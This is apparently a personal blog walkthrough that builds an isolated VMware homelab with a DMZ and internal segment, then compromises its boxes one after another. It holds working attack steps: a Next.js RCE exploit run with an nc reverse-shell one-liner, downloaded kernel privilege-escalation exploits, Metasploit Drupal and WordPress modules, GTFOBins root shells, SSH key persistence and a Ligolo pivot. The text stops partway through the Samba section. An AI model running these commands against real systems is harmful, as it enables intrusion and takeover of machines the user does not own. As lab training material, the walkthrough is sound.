Instead we’re going to build two segments , much like a real-world DMZ sitting in front of an internal corporate network :

  • A Public segment , where our Kali attacking machine lives alongside the only internet-facing box (WEB01). This is our entry point.
  • An Internal segment , a fully isolated network holding the rest of the Linux boxes and the Windows side (Rogue + DC01). Nothing here can reach the internet , and nothing on the outside can reach it directly.

The only thing bridging those two worlds is WEB01 , which sits with one foot in each network (a dual-homed host). Once we get our foothold on it , we’ll drop a Ligolo-ng agent there and use it as a pivot to tunnel into the internal segment. Until then , the internal boxes are completely dark from Kali’s point of view , exactly like they should be.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
                 Internet
                    |
              [ NAT / VMnet8 ]        <-- Public segment (192.168.153.0/24)
                 |        |
              Kali      WEB01  ( eth0 : NAT )
                          |
                          | ( eth1 : Internal )   <-- the pivot
                          |
        ======[ LAN Segment : internal ]======   <-- Internal segment (10.10.10.0/24)
          |         |          |         |
     Dirty2Geddon  Backup    ORNN     Rogue --- DC01
       (Box 2)    (Box 3)  (Box 4)   (Win10)  (Server 2019)

First we need to add the Network Interface , for this one open VMWare then go to Edit –> Virutal Network Editor :

image

From there click Change Settings , accept the UAC popup , then we can add a New Network :

image

Select Host Only , since we want a private Network that isn’t connected to the internet :

image

Our Subnet IP is 10.10.10.0 and for the Subnet Mask it’s 255.255.255.0 since we want /24 for this lab .

We don’t need automatic DHCP to be enabled .

Leave Connect host virtual adapter to this network unchecked since we don’t want the VMs to be accessible , not even from my Host machine .

It will by default name it VMnet0 or 4 or whatever number you specified , we can then rename it to Internal and hit apply .

image

Now that our Network Interface is created , we need to modify each of the VMs to use our Internal Network instead :

Dirty2Geddon :

Edit VM –> Network Adapter –> Custom –> Choose Internal .

image

Backup :

Edit VM –> Network Adapter –> Custom –> Choose Internal .

image

Fail2Copy :

For this one we will keep the first NIC and add a second one :

Edit VM –> Add –> Network Adapter –> Custom –> Choose Internal .

image

Now we should have 2 NIC for this one :

image

ORNN / DC01 / CA01 / Rogue :

Same as Backup and Dirt2Geddon :

Edit VM –> Network Adapter –> Custom –> Choose Internal .

IP Addressing :

Since we left DHCP disabled on our Internal network , none of these boxes will get an address on their own. That’s on purpose , we assign every IP by hand so we know exactly what’s talking to what , and we deliberately leave off a default gateway on each internal NIC , so even if something misbehaves , it has no route out.

Here’s the addressing plan for 10.10.10.0/24 :

  • Fail2Copy (internal NIC) 10.10.10.10
  • DirtyGeddon2 10.10.10.20
  • Backup 10.10.10.30
  • ORNN 10.10.10.40
  • Rogue 10.10.10.50
  • DC01 10.10.10.100
  • CA01 10.10.10.101

Quick Notes :

DC01 isn’t part of this addressing chain at all, it’s a self-contained scenario that just happens to share the same wire. We’ll set it up on its own at the end, pointing DNS at itself.And for CA01 since it is part of the Domain , the DNS will be the DC01 ORNN will serve as the DNS Server for all 5 machines except the DC since it needs to be its own DNS server

ORNN :

We’re starting with ORNN since it’s about to become the DNS server every other box depends on, it needs to be up and answering before the rest of the machines are told to point at it.

For ORNN’s DNS role, the lightest option that fits is dnsmasq , way less overhead than standing up full BIND9 for something that just needs to answer a handful of internal lookups (and no internet access means there’s nothing upstream to forward to anyway).

Since apt install needs internet access, we temporarily leave ORNN’s adapter on NAT while we install packages, and switch it to Internal once we’re done. In VM Settings → Network Adapter, this is the same dropdown from before, just flip it back to NAT for now.

image

1
2
3
4
sudo apt update
sudo apt install dnsmasq -y

sudo nano /etc/dnsmasq.conf

Now inside of the file , for the Interface keep the same as the one you have once you do ip a :

1
2
3
4
5
6
7
8
9
10
11
12
13
# only listen on the internal interface, not the whole box
interface=ens32
bind-interfaces

# static hostnames for the lab boxes
address=/DirtyGeddon/10.10.10.20
address=/Fail2Copy/10.10.10.10
address=/backup/10.10.10.30
address=/ORNN/10.10.10.40
address=/Rogue/10.10.10.50

# no upstream forwarding — this network has no internet anyway
no-resolv

image

Now flip the adapter back : VM Settings → Network Adapter → Custom → Internal. (if it doesn’t change just reboot the VM) :

image

With that done, ORNN’s NIC loses its NAT-assigned DHCP address, so we assign the static one it’s supposed to have (in this case it’s ens32) :

1
2
3
4
5
6
sudo nano /etc/network/interfaces

auto ens32
iface ens32 inet static
    address 10.10.10.40
    netmask 255.255.255.0

No dns-nameservers line here, ORNN resolves for itself. We point its own resolver at itself :

1
2
3
sudo nano /etc/resolv.conf

nameserver 127.0.0.1

Restart both services to apply everything :

1
2
3
sudo systemctl restart networking
sudo systemctl restart dnsmasq
sudo systemctl enable dnsmasq

image

Quick check, ORNN should now resolve its own DNS records :

1
2
3
nslookup Fail2Copy 127.0.0.1
Or
dig Fail2Copy @127.0.0.1 

image

Perfect our DNS is working , the Refused is probably from IPV6 request . that’s why we checked again with dig and it worked perfectly .

Now let’s move to the other boxes .

Fail2Copy :

First we need to identify which Interface is the NAT and which one is the Internal one :

1
ip a

image

In this case the one that’s already assigned is the NAT , and the one that is empty is the Internal network NIC (ens37 in this case) .

We only touch ens37 here, ens33 stays exactly as it is (DHCP, that’s what keeps its internet access for the initial foothold) :

To assign the IP address manually , we need to modify the /etc/network/interfaces file to add the IP address , mask and DNS Server which is the same IP as the ORNN machine .

1
2
3
4
5
6
7
8
su -
nano /etc/network/interfaces

auto ens37
iface ens37 inet static
    address 10.10.10.10
    netmask 255.255.255.0
    dns-nameservers 10.10.10.40

For the rest either comment it or delete it :

image

Now we need to restart the Networking service :

1
systemctl restart networking

image

We see that now we have an IP address assigned to our machine on the ens37 Interface .

Now finally we just modify our resolv.conf file so that it uses the ORNN machine as its primary DNS , so that it can do name resolution for Internal machines :

1
2
3
4
nano /etc/resolv.conf 

# Inside it :
nameserver 10.10.10.40

image

Now moving on to the second Box .

Dirty2Geddon :

For Ubuntu it uses netplan, check which config file actually exists before editing it :

1
ls /etc/netplan/

No 00-installer-config.yaml here like you might expect, Ubuntu 24.04’s installer generates 50-cloud-init.yaml instead, since it’s cloud-init driving the network setup on first boot. That’s the one we edit :

1
2
3
4
5
6
7
8
9
10
11
sudo nano /etc/netplan/50-cloud-init.yaml

network:
  version: 2
  ethernets:
    ens33:
      dhcp4: no
      addresses:
        - 10.10.10.20/24
      nameservers:
        addresses: [10.10.10.40]

Again, no routes line, no gateway, on purpose. Apply it , and for the DNS it’s the ORNN’s IP Address .

Just comment what’s already inside the file or delete it :

image

Again, no routes line, no gateway, on purpose. Apply it :

1
sudo netplan apply

image

We see that our IP address is now set for the ens33 interface .

Quick Note :

Because this file is cloud-init managed, there’s a chance cloud-init regenerates it back to DHCP on the next reboot. If your static IP mysteriously reverts after a restart, that’s why, fix it permanently with :

1
2
3
sudo nano /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg

network: {config: disabled}

That tells cloud-init to leave netplan alone from here on.

image

Now finally we just modify our resolv.conf file so that it uses the ORNN machine as its primary DNS , so that it can do name resolution for Internal machines :

1
2
3
4
nano /etc/resolv.conf 

# Inside it :
nameserver 10.10.10.40

image

Perfect , now moving on to the third Box .

Backup :

This is a Debian machine , so the file to modify is /etc/network/interfaces :

First check what the name of the interface is :

1
ip a

image

In this case it is ens32 , now we modify our configuration file , again the DNS IP is going to be the ORNN machine’s IP .

1
2
3
4
5
6
7
8
su -
nano /etc/network/interfaces

auto ens32
iface ens32 inet static
    address 10.10.10.30
    netmask 255.255.255.0
    dns-nameservers 10.10.10.40

Then we restart the Networking Service :

1
sudo systemctl restart networking

image

Our Ip is assigned without any issues .

Now finally we just modify our resolv.conf file so that it uses the ORNN machine as its primary DNS , so that it can do name resolution for Internal machines :

1
2
3
4
nano /etc/resolv.conf 

# Inside it :
nameserver 10.10.10.40

image

Rogue :

Windows gets its static IP and DNS through the GUI, same dialog, one extra field this time :

  • 1/ Control Panel → Network and Sharing Center → etho0

image

  • 2/ Properties –> IPV4 –> Properties :

  • 3/ Choose Use the following IP address :

1
2
3
4
5
IP address : 10.10.10.50
Subnet mask : 255.255.255.0
Default gateway : leave blank
Preferred DNS : 10.10.10.40
OK out of both dialogs.

image

Now just click Ok then close all the old tabs , open a cmd and check the new IP address :

ipconfig

image

Perfect , we have our new IP address .

I also changed the Hostname to match the one we specified in the DNS config , first open PS as administrator :

1
2
Rename-Computer -NewName Rogue
Restart-Computer 

image

Now our hostname should be Rogue once it restarts :

image

Perfect .

DC01 :

DC01 stays completely self-contained, no dependency on ORNN. It just needs to point at itself, 127.0.0.1 :

  • 1/ Control Panel → Network and Sharing Center → etho0

image

  • 2/ Properties –> IPV4 –> Properties :

image

  • 3/ Choose Use the following IP address :
1
2
3
4
5
IP address : 10.10.10.100
Subnet mask : 255.255.255.0
Default gateway : leave blank
Preferred DNS : 127.0.0.1
OK out of both dialogs.

image

Now just click Ok then close all the old tabs , open a cmd and check the new IP address :

image

Quick Note :

Pointing DC01’s own DNS at 127.0.0.1 isn’t just a formality here, it’s actually required once you promote it to a Domain Controller later. AD needs to register its own SRV records into its own DNS zone, and a DC is expected to be authoritative for and resolve against itself. Since this box was never meant to depend on ORNN in the first place, that requirement lines up naturally with the design, nothing to reconcile.

Now everything is set . We can test the Connectivity .

CA01 :

For the CA01 , the DNS server will be the DC01 , But first let’s give it a static IP address as well .

1
2
3
4
5
6
7
8
9
# Remove any existing IP/route config first
Remove-NetIPAddress -InterfaceAlias "Ethernet0" -Confirm:$false
Remove-NetRoute -InterfaceAlias "Ethernet0" -Confirm:$false

# Set static internal IP
New-NetIPAddress -InterfaceAlias "Ethernet0" -IPAddress 10.10.10.101 -PrefixLength 24

# Point DNS at DC01
Set-DnsClientServerAddress -InterfaceAlias "Ethernet0" -ServerAddresses 10.10.10.100

image

Now to verify :

1
2
ipconfig
Get-DnsClientServerAddress -InterfaceAlias "Ethernet0"

image

The IP address is now static and the DNS is the DD01 .

Now let’s test the connectivity .

Testing connectivity :

Fail2Copy :

First we will test the NAT :

For this we need to be able to ping it from our Kali machine.

First get the IP address of the NAT NIC , it’s the ens33 interface :

image

Now from our Kali machine :

image

Kali reaching the NAT-side IP confirms the public segment/entry point works, and it not reaching the internal IP confirms the isolation is holding, that’s checks 1 and 2 from our plan in one go.

Now let’s check if we can ping the other internal hosts .

For the Windows machine , we need to specify the IP address instead of the Hostname . But for the other Linux boxes it shouldn’t be an issue .

image

We see that we are able to ping all the Linux boxes , Windows blocks ICMP by default , so as long as we are able to ping Copy2Fail from the windows Box we should be good :

image

We are able to ping our Linux box , which means the only reason why the ping didn’t work is bcs ICMP was blocked .

Trouble Shooting DNS :

If your internal name resolution is acting weird (pinging a hostname gives you back 127.0.0.1 or 127.0.1.1 instead of the actual internal IP) , check /etc/hosts before anything else , on both the box you’re testing from AND on ORNN itself.

If these machines were cloned from the same template , odds are /etc/hosts still has every box’s name hanging off that 127.0.1.1 line from before the clones got renamed , and since Linux checks /etc/hosts before it ever asks DNS , that stale entry wins every time no matter how correctly dnsmasq is configured.

Clean it up so each box only references itself , and while you’re in ORNN’s dnsmasq.conf , throw a no-hosts line in there too , dnsmasq reads its own local /etc/hosts by default and will happily serve you those same stale entries as “DNS answers” if you don’t tell it not to.

In my case i cloned ORNN from Backup so i had this issue :

image

Notice how it says 127.0.1.1 ; change it to the normal localhost 127.0.0.1 then restart the DNS service :

1
2
3
4
sudo nano /etc/hosts

127.0.0.1   localhost
127.0.1.1   ORNN

Then we restart the service :

1
sudo systemctl restart dnsmasq

image

Now if we test the Ping from the Fail2Copy box :

image

We see that it works perfectly .

If we even try to ping it from the Windows box using Hostname only , it will work :

image

Let’s move to the other boxes .

Dirty2Geddon :

Let’s test pinging each of the internal machines using their hostname :

To be able to resolve the Hostnames , we must modify the /etc/resolv.conf , to have the ORNN machine as our DNS resolver .

image

Now we can try pining them :

image

The windows box shouldn’t work , windows blocks icmp inbound by default but doesn’t touch outbound , so let’s try pinging it from the windows machine instead to see if it’s actually reachable .

image

Worked Perfectly .

Backup :

Again let’s test pinging each of the internal machines using their hostname :

To be able to resolve the Hostnames , we must modify the /etc/resolv.conf , to have the ORNN machine as our DNS resolver .

image

We try pinging :

image

Again , the windows and DC01 shouldn’t work since windows blocks icmp inbound by default , but if we test it from the Rogue machine instead it should go through fine , since outbound icmp isn’t blocked .

image

Worked Perfectly .

ORNN :

Since ORNN is our DNS server , hostname resolution here is obviously not an issue , it’s resolving against itself .

image

Pinging the other Linux boxes works for the same reason as before , they don’t block icmp by default . Windows and the DC still won’t respond though , same story , icmp is blocked inbound on both .

But we can test the ping from the windows machine instead .

image

No issues here as well .

Rogue :

Now from our Windows box , let’s try pinging all the other machines :

image

Worked perfectly , for the DC , same as before ICMP will be blocked .

DC01 :

Now from the DC let’s check if we can resolve the other machines :

image

Again , Rogue shouldn’t work since it’s a Windows :)

CA01 :

For the CA01, what interests us the most is resolving the Domain name , and the connectivity with the DC01 , if it can do both , then it will definetly reach the other internal Hosts :

To verify , first we check if we can resolve the Domain name using our DNS :

1
nslookup Isolate.local

Then we test the connectivity , we will need to test the ports directly , skipping the ICMP pings , since it will be blocked by default .

1
2
Test-NetConnection -ComputerName 10.10.10.100 -Port 445 -InformationLevel Detailed
Test-NetConnection -ComputerName 10.10.10.100 -Port 389

image

The DNS is working , and we can communicate with the DC01 in the Internal Network without any issues . We can finally move to the Attack phase .

Attack Phase :

Fail2Copy (Initial Access) :

Now checking our Kali machine :

image

This is our NAT interface . We will first start by scanning the entire netowrk to try and find live hosts , we can use nmap to scan for live hosts only without enumerating all open ports .

1
nmap -sn 192.168.32.0/24

image

To save us time , the IP address for the first box is the one highlighted : 192.168.32.147

1
rustscan -a 192.168.32.147 --ulimit 5000 -b 1000  -- sVC

Since this is a Homelab , try lowering the batch number which is how many connections it tries to make at once, in this case i did 1000 , the default is 4500 , which is a lot of simultaneous connections, so it might miss some ports .

The – is to pipe the output of the open ports to nmap for Version Scanning .

image

We see port 3000 open , we can enumerate it further .

image

We can see that it is a NetxJS app . But we don’t get a version yet , tried checking with whatweb but didn’t get anything as well .

1
whatweb http://192.168.32.147:3000

image

Let’s check the app , i already installed Wappalyzer Extension , which gives us information about the technologies used by the application .

image

We get the version finally 15.0.4 . This one is vulnerable to an RCE , we can confirm by checking the Nextjs official website :

1
https://nextjs.org/blog/CVE-2025-66478

image

We can use any of these exploits , i will be using this one since it gives us an interactive Shell .

1
https://github.com/Jenderal92/CVE-2025-55182-React2shell

We just download the exploit , make it executable , and run it :

1
2
wget https://raw.githubusercontent.com/p3ta00/react2shell-poc/refs/heads/master/react2shell-poc.py
chmod +x 

image

It takes as a parameter the URL and command we want to run .

The command we will run gives us back a reverse shell , we can use Revshell generator for this :

1
https://www.revshells.com/

We can check if the machine has nc , since we can use it for our reverse shell .

image

It is located at /usr/bin/nc .

Now back to resvshell generator :

image

Now we set up our listner on Port 7777 .

1
2
nc -lnvp 7777
python3 react2shell-poc.py -t 192.168.32.147:3000 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.32.134 7777 >/tmp/f'

image

First let’s start by stabilizing our shell :

1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
background 
stty raw -echo; fg
export TERM=xterm
PS1='\[\e[31m\]\u\[\e[96m\]@\[\e[35m\]\H\[\e[0m\]:\[\e[93m\]\w\[\e[0m\]\$'

image

Now our shell is stabilized , we can start our privesc .

What you can try is import tools like Chisel and look for misconfigurations , SUIDs , caps and permissions on files , but to save time , we will perform manual testing first and move to the kernel exploit .

1
2
3
sudo -l : which prog can be ran with root perm . 
uname -sr / lsb_relase -a : Version + architecture .  
find / -type f -perm -04000 -ls 2>/dev/null : Find binaries with SUID .

image

We can check online for Vulnerabilities for this kernel version . The most recent one will be the Dirty Frag or Copy fail vulnerability .

We’ll test CopyFail first .

1
https://xint.io/blog/copy-fail-linux-distributions#the-exploit-4

We just need to import the Exploit to the target host . we can use python for this , we setup python server , then use wget or curl to download the file onto the target .

image

We already know Python is on the target host since we used it to stabilize our shell earlier .

You can use the official exploit , i will be using this exploit since i find it to be more stable :

1
https://github.com/slaptat/copyFail30/blob/main/copyFail30.py

We just import it the same way :

1
2
3
wget https://raw.githubusercontent.com/slaptat/copyFail30/refs/heads/main/copyFail30.py
python3 -m http.server 80 
wget http://192.168.32.134/exploit.py

image

From there we just run it this should give us Root .

image

Now we will be using this Box to pivot to the Internal Network so we need to keep an easy way in .

We can do that by getting the Root Private key , enable root login if not enabled so that we can login as root more reliabely .

First we check the root .ssh directory :

image

We see that we don’t have any keys yet , if we check the SSH config :

1
cat /etc/ssh/sshd_config

We see that it is set to default :

image

This means root can login but password is disabled , we need to generate a private key , then transfer it into the Target machine and save it in the /root/.ssh folder .

1
2
3
# On our Kali box :

ssh-keygen -t ed25519 -f ~/.ssh/fail2copy_root -N ""
  • ssh-keygen : generates a new SSH keypair (private + public key)
  • t ed25519 : key type/algorithm, ed25519 instead of the older rsa, it’s shorter, faster, and just as secure (modern default choice)
  • f ~/.ssh/fail2copy_root : output file path for the private key, so you get fail2copy_root (private) and fail2copy_root.pub (public) in ~/.ssh/, named so you know exactly which box this key is for instead of overwriting your default id_ed25519
  • N “” : sets the passphrase to empty, so it generates the key without prompting you to type a passphrase

image

Here fail2copy_root.pub is the public key that we will transfer into the target machine , and the fail2copy_root , is the private key we will use to login .

First on our Kali box , we set up our Python server on the same folder where we have our Keys .

1
python3 -m http.server 80

image

Now from the target box , we can download it using wget or curl .

image

Once downloaded , we need to rename it to authorized_keys , since that’s the exact filename sshd looks for inside /root/.ssh , and lock down its permissions so it’s not too open :

1
2
mv fail2copy_root.pub authorized_keys
chmod 600 authorized_keys

Now we can try to login using our Private key :

1
ssh -i fail2copy_root root@192.168.32.147

image

Now that we made our access more persistent , we can move to the Pivoting section .

Pivoting/Tunneling :

Now notice how our Kali machine is unable to reach any of the internal Hosts :

image

We can use a tool like ligolo or chisel , to give us full access to the Internal Network , by using our compromised Box as the pivot point , that all traffic gets routed through . i prefer ligolo since it’s faster , it creates a new virtual NIC for us that routes traffic straight through the Pivot Box , no proxychains needed like you’d typically use with chisel for full subnet access , so it’s cleaner and faster overall .

First we check if the machine has access to any new Networks :

1
ip a

image

We find the 10.10.10.0/24 Network which is Our Internal netowrk . Importing Tools to this host to reach and exploit the other targets will be very noisy and it will demand a lot of dependencies for tools and all of that ,just not practical overall, so using this Box as our Pivot point is the best option here . For this we use Chisel :

To use Chisel , we need to setup the ligolo server , then transfer the agent to the victim machine and run it on it to connect back to our Ligolo Server .

This is the link to Install the agent :

1
https://github.com/nicocha30/ligolo-ng/releases/tag/v0.9

You need to install the Linux one , then you can follow along .

First we need to create a new Network Interface then run Ligolo :

1
2
3
4
5
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up  

# Launch ligolo server from kali with self signed certs : 
sudo ligolo-proxy -selfcert

image

Now that the NIC is created , it should show DOWN , this is normal since we haven’t gotten a connection back yet . Launch Ligolo :

image

Then we need to import the Agent to the target machine , and make it executable .

1
2
3
4
5
6
# On our Kali :
python3 -m http.server

# On target :
wget http://192.168.32.134/agent
chmod +x agent

image

Now all we need to do is run the agent to connect back to us , Ligolo runs on port 11601 by default :

1
2
3
./agent -connect <Attack IP>:11601 -ignore-cert&

# & was added just to make it run a job in the background rather than blocking our terminal 

image

Now if we go back to our Ligolo server , we should see the connection .

image

Now we just specify the session we want to interact with :

1
2
session
1

From there we can check the Network Interfaces that exist :

1
2
3
# From inside the session :

ifconfig

image

We see the 10.10.10.0/24 Network , which is the Internal Network . Now to create the connection we just link the newly created NIC to this Internal Network Segment , then we start the connection from our Ligolo server .

1
2
3
4
5
6
# From our terminal :

sudo ip route add 10.10.10.0/24 dev ligolo

# From Ligolo :
start 

image

We see that it created the connection , and the NIC is now UP .

Now we can test pinging the Internal IP address for our Host directly from our Kali box :

image

Perfect we are able to reach the Internal Network . Moving on to exploiting the Intenal Hosts :

Dirty2Geddon :

First we scan the Entire Internal Network to get an idea of how many hosts exist on the Network .

image

We are able to Identify all of the Internal Hosts :

1
2
3
4
5
10.10.10.10 (Fail2Copy) 
10.10.10.20
10.10.10.30
10.10.10.40
10.10.10.50

We will start with the 10.10.10.20 which is the Dirty2Geddon Box :

First let’s scan all ports , then use Version and default Scripts scans to see if we find any outdated service versions :

1
2
nmap -p- 10.10.10.20 -T5 
nmap -p80 10.10.10.20 -sVC 

image

We are able to find the Drupal Version used which is Drupal 7 .

Since this is using Drupal , we can use a tool like droopscan to enumerate the website further .

1
https://github.com/SamJoan/droopescan

We can install it using pip , but first create your virtual env :

1
2
3
python3 -m venv venv
source venv/bin/activate
pip install droopescan

image

Looking at the doc , to run it :

1
droopescan scan drupal -u http://example.org/ -t 32

Once you run the tool , it won’t work , this is because many libraries that the tools uses were removed from Python 3.12 .

image

If you are running an old version of python this can work for you , if not just use a recent tool , i will be using CMSeek since it is still maintainable .

1
2
3
4
git clone https://github.com/Tuhinshubhra/CMSeeK
cd CMSeeK
pip install -r requirements.txt
python3 cmseek.py -h

image

Once it’s done we can just run the tool :

1
python3 cmseek.py -u 10.10.10.20

image

We get the version but not the exact version . Let’s check via manual enumeration , usually if we can access the /ChangeLog , which is by default , we can find the exact version :

1
curl -s http://10.10.10.20/CHANGELOG.txt | head -20

image

Perfect the version is 7.57 , we can check online for vulnerabilities or some POC for exploits that targets this exact version , but before let’s check Searchsploit :

1
searchsploit Drupal 7.57

image

We find many RCE Exploits ,we need one that doesn’t require Authentication , we will go with the Metasploit one since it is usually more stable , first we need to launch Metasploit :

1
2
3
msfconsole
search drupal 7
use 1

image

We’re using DrupalGeddon2 , let’s check the parameters that we need to provide :

image

It requires :

  • LHOST : which is our listener , in this case our IP address .
  • RHOSTS : The target IP Address
  • RPORT : the target Port running the Drupal Service
  • LPORT : The port we will be listenning on
  • TARGET URI : Where the Drupal site is located , in this case it’s the root directory /
  • Exploit Target : we will keep the default one , which is PHP in memory , if this doesn’t work , we can change it
1
2
set RHOSTS 10.10.10.20
run

image

We see that the exploit works , but we don’t get any session .

This is because Ligolo lets us reach into the Internal Network , but it doesn’t work the other way around , the Internal boxes can’t reach our Kali machine directly , so when the payload tries to connect back to us it just fails . to fix that , we add a listener on the Ligolo Proxy , this makes the Pivot Box itself open port 4444 and forward anything that hits it straight back to our real listener on Kali . so instead of the target trying to reach Kali directly , which it can’t , it connects to the Pivot Box instead , which is the one thing it actually can reach , and that’s what relays it back to us .

Now back on our Ligolo Proxy server :

1
 listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
  • listener_add : tells the ligolo-ng proxy to create a new listener, but running on the agent (the pivot box), not on Kali
  • addr 0.0.0.0:4444 : the address/port the listener opens on the pivot box itself, 0.0.0.0 means it listens on all of the pivot box’s interfaces, so anything on the internal network that can reach the pivot box on port 4444 will hit this listener to .
  • 127.0.0.1:4444 where the traffic gets forwarded once it arrives at Kali through the tunnel, 127.0.0.1 here refers to Kali’s own loopback, since that’s where your real msf handler is actually listening
  • tcp : protocol for the listener, TCP in this case (matches your reverse_tcp payload

Now back to our exploit , we need to modify the LHOST to match the one of our Pivot Box , the LPORT will stay the same 4444 .

1
2
3
set LHOST 10.10.10.10
set LPORT 4444
run

image

We got our meterpreter session :)

If we wanted a shell , just type shell :

1
2
shell
bash -i # Just to make it Somewhat interactive .

image

Now for privesc it’s pretty easy to import tools using Meterpreter , we just go back to our meterpreter session and upload or download specific files .

You could import Linpeas and run it to find different ways to privesc . But in our case to save time , we will just do some manual Enumeration starting with the kernel version :

1
uname -a

image

We see that the kernel version is 6.17.0-23 , this one is pretty old , so it might be vulnerable to the recent Kernel exploits , we already tested CopyFail , let’s check DirtyFrag :

1
https://github.com/v4bel/dirtyfrag

We first Download the exploit , compile it on our Kali machine , then transfer it to the target box using our Meterpreter session .

1
2
wget https://raw.githubusercontent.com/V4bel/dirtyfrag/refs/heads/master/exp.c
gcc exp.c -o exp

image

Now finally , we just transfer it using Meterpreter , back to our shell , we can go back to our Meterpreter session by either typing bg or CTRL+Z :

image

Now to navigate our Kali machine , we need to add l before the commands we usually run :

1
2
3
4
5
6
pwd : this will show us the current location inside the target machine
lpwd : this will show us the location of our Kali machine instead .
cd : Navigate the target file system
lcd : Navigate the kali file system
ls : List files on the target
lls : List files locally 

image

Now to import the exploit we use the meterpreter command upload :

1
meterpreter> upload exp

image

Once we import it , we make it executable and finally we run it :

image

We see that we get a Root Shell once our exploit is executed .

Now we can move to the Third Box .

Backup :

This one is the 10.10.10.30 :

First we scan All ports , then we perfom a version and a script scan on the open ports .

image

We don’t get much , except the OS running . Both apache and SSH are up to date .

Let’s check the website :

image

This is just the default Apache webpage , let’s attempt Brute Forcing directories :

image

We find /wordpress . which means there is a WP site hosted on this box , we can use a tool like WPscan to enumerate this further since this is a WP site :

1
2
wpscan --update # First update the DB
wpscan --url http://10.10.10.30/wordpress

image

If we check the Pluggins :

image

Passive Method didn’t identify any Pluggins . We can try aggressive method :

1
wpscan --url http://10.10.10.30/wordpress -e vp --plugins-detection aggressive

but sadly , even with aggressive detection , it came back with nothing :

1
2
3
[+] Enumerating Vulnerable Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:01:14 (7343 / 7343) 100.00%
[i] No plugins Found.

7343 known locations checked and still nothing , which felt off for a box that’s clearly built around a vulnerable plugin . the thing is , wpscan can only find what’s in its bundled list , if the plugin’s slug isn’t in there , aggressive mode or not , it just won’t see it . and no , an api key wouldn’t help here either , that only pulls vulnerability data for plugins it already found , it doesn’t help with detection .

So let’s try brute forcing the plugins directory ourselves with ffuf and a seclists wordlist :

1
ffuf -u http://10.10.10.30/wordpress/wp-content/plugins/FUZZ/readme.txt -w /usr/share/seclists/Discovery/Web-Content/CMS/wp-plugins.fuzz.txt -mc 200

image

This caught the default plugins like akismet , so we know the technique works , but still no sign of our target plugin . turns out the slug just isn’t in that wordlist either , same blind spot as wpscan. I also checked if directory listing was enabled on the plugins folder , since it was enabled on wp-content/uploads/ earlier :

1
curl -s http://10.10.10.30/wordpress/wp-content/plugins/

But that came back empty , so no easy win there .

At this point the automated tools have all struck out , so let’s go fully manual . we already suspect the box is running the Backup Migration plugin , so instead of guessing slugs from a list , let’s just hit its readme directly , every wordpress plugin ships a readme.txt at a predictable path with the version baked in :

1
curl http://10.10.10.30/wordpress/wp-content/plugins/backup-backup/readme.txt

And there it is :

image

Perfect , that confirms it , Backup Migration version 1.3.7 . the folder is backup-backup even though the plugin’s display name is “Backup Migration” , which is exactly why the wordlists missed it .

Looking online we find that 1.3.7 is vulnerable to CVE-2023-6553 , an unauthenticated RCE , which is our way in .

image

There is a Metasploit Module as well that we can use :

1
2
msfconsole
use multi/http/wp_backup_migration_php_filter

image

First close the first session we got on port 4444 , or create a new listener for this new exploit :

image

We need to specify the RHOSTS, RPORT, LHOST, LPORT, and TargetURI .

  • LHOST will again be the Pivot Box IP address .
  • LPORT will be 4444 as well since that’s the listener we specified .
  • TargetURI will be /wordpress since it’s not in the root folder this time.
1
2
3
4
set RHOSTS 10.10.10.30
set LHOST 10.10.10.10
set TARGETURI /wordpress
run

image

Now we have Initial access , for privesc , we can try manual exploiation first :

1
2
3
4
5
6
id : Check for Groups and Which user . 
cat /etc/passwd : Check other users on the machine . 
sudo -l : which prog can be ran with root perm . 
uname -sr / lsb_relase -a : Version + architecture .  
find / -type f -perm -04000 -ls 2>/dev/null : Find binaries with SUID . 
Check for Bash History .

A detailed section on Linux privesc if you wanted to try them on these boxes :

1
https://elmehdilaassiri.github.io/posts/oscp-cpts-methodology/#linux-priv-escalation-

If we check the SUIDs :

image

We find a binary that isn’t default one , /usr/bin find , this was going to get caught by Linpeas as well .

Now can check GTFOBINS to see if there are ways to abuse this SUID binary to get Root :

1
https://gtfobins.org/

image

We see that it is one of the vulnerable binaries :

Looking at the doc , to get root Shell we just execute :

1
find . -exec /bin/sh -p \; -quit

image

Perfect we got our Root access .

Now let’s move to the other boxes .

ORNN :

Checking the nmap scan from earlier , the ORNN machine is the host with this IP address : 10.10.10.40 as we can see from the open ports .

image

We find many ports opened , the interesting ones are NFS,SMB and RPC .

We’ll scan for versions as well as default vuln scripts for these open ports :

1
nmap -p445,2049,139,111 10.10.10.40 -sVC

image

Looking at the version , we find SAMBA 3.0 , and from the nmap script , we find some general information like the hostname :

image

Now let’s deeply enumerate each port :

NFS :

First let’s see if we can mount the NFS server on our kali machine without authentication .

First let’s try to list the shares that are available to us without authentication :

1
showmount -e 10.10.10.40

image

We get :

1
/srv/share *

This means anything inside this share is available for everyone in the network to access . Now to mount this onto our Kali host :

1
2
mkdir nfs
sudo mount -t nfs -o vers=3,nolock 10.10.10.40:/srv/share ~/HomeLab/nfs

image

Version 2 wasn’t supported so we tried V3 .

Now finally let’s unzip this file :

image

This requires a Passphrase which we don’t have , we can try cracking it using John , first we transform it into a file format that John can crack using zip2john :

1
2
zip2john nfs/windows-creds.zip > forjohn
john --wordlist=/usr/share/wordlists/rockyou.txt  forjohn 

image

We are able to crack it using rockyou wordlist . Now we just unzip everything :

image

If we access the Credentials folder we get a list of usernames and passwords that we can spray on the rest of the Boxes .

image

Now that we’ve got some creds , we can test them for SSH access on ORNN first .

image

We see that we can Login via SSH .

for Privesc , we can import Linpeas, but in order to save time , the vulnerability is in the sudo binary permissions :

image

We see that our user is able to execute the nano Binary as root , without needing password .

We can check GTFOBINS , to see if there are ways we can abuse this :

1
https://gtfobins.org/gtfobins/nano/

image

We see that there is a way we can get Root access :

  • First Open a Terminal as root .
  • Press Ctrl+R (Read File), then Ctrl+X (Execute Command)
  • At the Command to execute: prompt, type:
1
reset; sh 1>&0 2>&0

image

Now if we execute it :

image

We see that we got our Root Access by abusing the nano binary .

Now let’s check the other ways we can get Root on this box :

Samba :

Looking at the scan result , we see that the host is running SAMBA 3.0 , if we check searchsploit for known Vulnerabilities :

1
searchsploit samba 3.0

image

We find that there is a module in Metasploit for this version that will grant us RCE .

1
2
